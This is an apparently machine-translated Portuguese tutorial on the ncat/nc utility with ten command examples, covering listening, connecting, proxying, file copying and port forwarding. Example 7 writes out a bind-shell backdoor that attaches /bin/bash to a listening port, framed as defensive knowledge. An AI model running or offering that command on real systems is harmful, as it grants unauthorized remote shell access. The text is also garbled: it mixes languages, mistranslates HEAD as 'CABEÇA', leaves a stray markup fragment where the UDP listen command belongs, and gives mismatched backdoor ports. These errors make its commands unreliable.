ncat or nc is networking utility with functionality similar to cat command but for network. É uma ferramenta de CLI de propósito geral para ler, escrever, redirecionar dados através de uma rede. Ele é projetado para ser uma ferramenta confiável back-end que pode ser usado com scripts ou outros programas. É também uma ótima ferramenta para depuração de rede, pois pode criar qualquer tipo de conexão que se pode precisar.

ncat / nc pode ser uma ferramenta de varrimento de portas, ou uma ferramenta de segurança, ou ferramenta de monitoramento e também é um proxy TCP simples., Uma vez que tem tantas características, é conhecido como uma rede canivete suíço. É uma daquelas ferramentas que todos os administradores de Sistema devem conhecer & master.

na maioria das distribuições Debian ‘nc’ está disponível e o seu pacote é automaticamente instalado durante a instalação. Mas na instalação mínima CentOS 7 / RHEL 7 você não vai encontrar nc como um pacote padrão. Você precisa instalar usando o seguinte comando.,

# yum install nmap-ncat -y

System administs can use it audit their system security, they can use it find the ports that are opened & than secure them. Admins também pode usá-lo como um cliente para auditar servidores web, servidores telnet, servidores de E-mail etc, com ‘nc’ nós podemos controlar todos os caracteres enviados & também pode ver as respostas para consultas enviadas.

também podemos fazer com que capture dados que estão sendo enviados pelo cliente para entender o que eles são upto.,

neste tutorial, vamos aprender sobre como usar ‘nc’ comando com 10 exemplos,

Exemplo: 1) Ouvir conexões de entrada

Ncat pode trabalhar em ouvir modo & podemos ouvir conexões de entrada na porta número com opção de ‘l’. O comando completo é,

$ ncat-l port_number

Por exemplo,

$ ncat -l 8080

o servidor irá agora começar a ouvir o porto 8080 para ligações de entrada.,

Exemplo: 2) Conectar a um sistema remoto

Para se conectar a um sistema remoto com o nc, podemos usar o seguinte comando,

$ ncat IP_address port_number

Vamos dar um exemplo,

$ ncat 192.168.1.100 80

Agora uma conexão para o servidor com o endereço IP 192.168.1.100 será feita na porta 80 & agora podemos enviar instruções para o servidor. Como podemos obter o conteúdo da página com

GET / HTTP/1.1

ou obter o nome da página,

GET / HTTP/1.1

ou podemos obter banner para OS fingerprinting com o seguinte

CABEÇA / HTTP/1.,1

Isto irá dizer que software está a ser usado para executar o servidor web.

exemplo: 3) Conectando-se aos portos UDP

por padrão , o utilitário nc faz conexões apenas aos portos TCP.,eabfde”>

Agora, nosso sistema irá começar a ouvir uma porta udp ‘1234’, podemos verificar isso usando comando netstat,

Vamos supor que queremos enviar ou teste de porta UDP de conectividade para um determinado host remoto e, em seguida, utilize o seguinte comando,

$ ncat -v -u {host ip} {udp porta}

exemplo:

# ncat -v -u 192.168.105.150 53Ncat: Version 6.40 ( http://nmap.org/ncat )Ncat: Connected to 192.168.105.150:53.

Exemplo: 4) NC como ferramenta de chat

NC também pode ser usado como ferramenta de bate-papo, podemos configurar o server para escutar em uma porta & que pode fazer a ligação ao servidor a partir de uma máquina remota na mesma porta & iniciar o envio de mensagem., No lado do servidor, execute

$ ncat -l 8080

na máquina cliente remota, execute

$ ncat 192.168.1.100 8080

do que comece a enviar mensagens & elas serão exibidas no terminal do servidor.

exemplo: 5) NC como um proxy

NC também pode ser usado como um proxy com um comando simples. Tomemos um exemplo,

$ ncat -l 8080 | ncat 192.168.1.200 80

Agora todas as conexões que chegam ao nosso servidor na porta 8080 serão automaticamente redirecionadas para o servidor 192.168.1.200 na porta 80., Mas uma vez que estamos usando um pipe, os dados só podem ser transferidos & para ser capaz de receber os dados de volta, precisamos criar um pipe de duas vias. Use os seguintes comandos para o fazer,

$ mkfifo 2way$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

Agora você será capaz de enviar & receber dados sobre o proxy nc.

Exemplo: 6) Copiar Arquivos usando o nc/ncat

NC também pode ser usado para copiar os arquivos de um sistema para outro, que não é recomendável & principalmente, de todos os sistemas ssh/scp instalado por padrão., Mas, ainda assim, se você se deparou com um sistema sem ssh/scp, você também pode usar nc como último esforço de vala.

Começar com uma máquina na qual os dados serão recebidos & iniciar nc é ouvinte modo,

$ ncat -l 8080 > file.txt

Agora, a máquina a partir de onde os dados devem ser copiados, execute o seguinte comando,

$ ncat 192.168.1.100 8080 --send-only < data.txt

Aqui, de dados.txt é o arquivo que tem que ser enviado. –a opção send-only irá fechar a ligação assim que o ficheiro for copiado. Se não usar esta opção, teremos de carregar em ctrl+c para fechar a ligação manualmente.,

também podemos copiar partições de disco inteiras usando este método, mas deve ser feito com precaução.

Exemplo: 7) Criar um backdoor via nc/nact

NC comando também pode ser usado para criar um backdoor para seus sistemas & esta técnica é realmente usado por hackers e muito. Devemos saber como funciona para garantir o nosso sistema. Para criar um backdoor, o comando é,

$ ncat -l 10000 -e /bin/bash

‘e’ flag prende uma bash ao porto 10000., Agora, um cliente pode ligar para a porta 10000 no servidor & terá acesso completo ao sistema via bash,

$ ncat 192.168.1.100 1000

Exemplo: 8) encaminhamento de Porta via nc/ncat

podemos também usar NC para o encaminhamento de porta com a ajuda da opção “c”, a sintaxe para a realização de encaminhamento de porta,

$ ncat -u -l 80 -c 'ncat -u -l 8080'

Agora, todas as conexões para a porta 80 será encaminhado para a porta 8080.

exemplo: 9) definir os tempos-limite de ligação

o modo ouvinte no NCAT continuará a correr & teria de ser terminado manualmente., Mas podemos configurar tempos de espera com opção de ‘w’,

$ ncat -w 10 192.168.1.100 8080

Isto fará com que a conexão seja encerrada em 10 segundos, mas ele só pode ser usado no lado do cliente & não no lado do servidor.

exemplo: 10) forçar o servidor a manter-se a usar a opção-k no ncat

quando o cliente se desconecta do servidor, depois de algum servidor também parar de ouvir. Mas podemos forçar o servidor a ficar conectado & continuar a ouvir portas com a opção ‘k’., Execute o seguinte comando,

$ ncat -l -k 8080

Agora o servidor ficará ligado, mesmo que uma ligação do cliente esteja quebrada.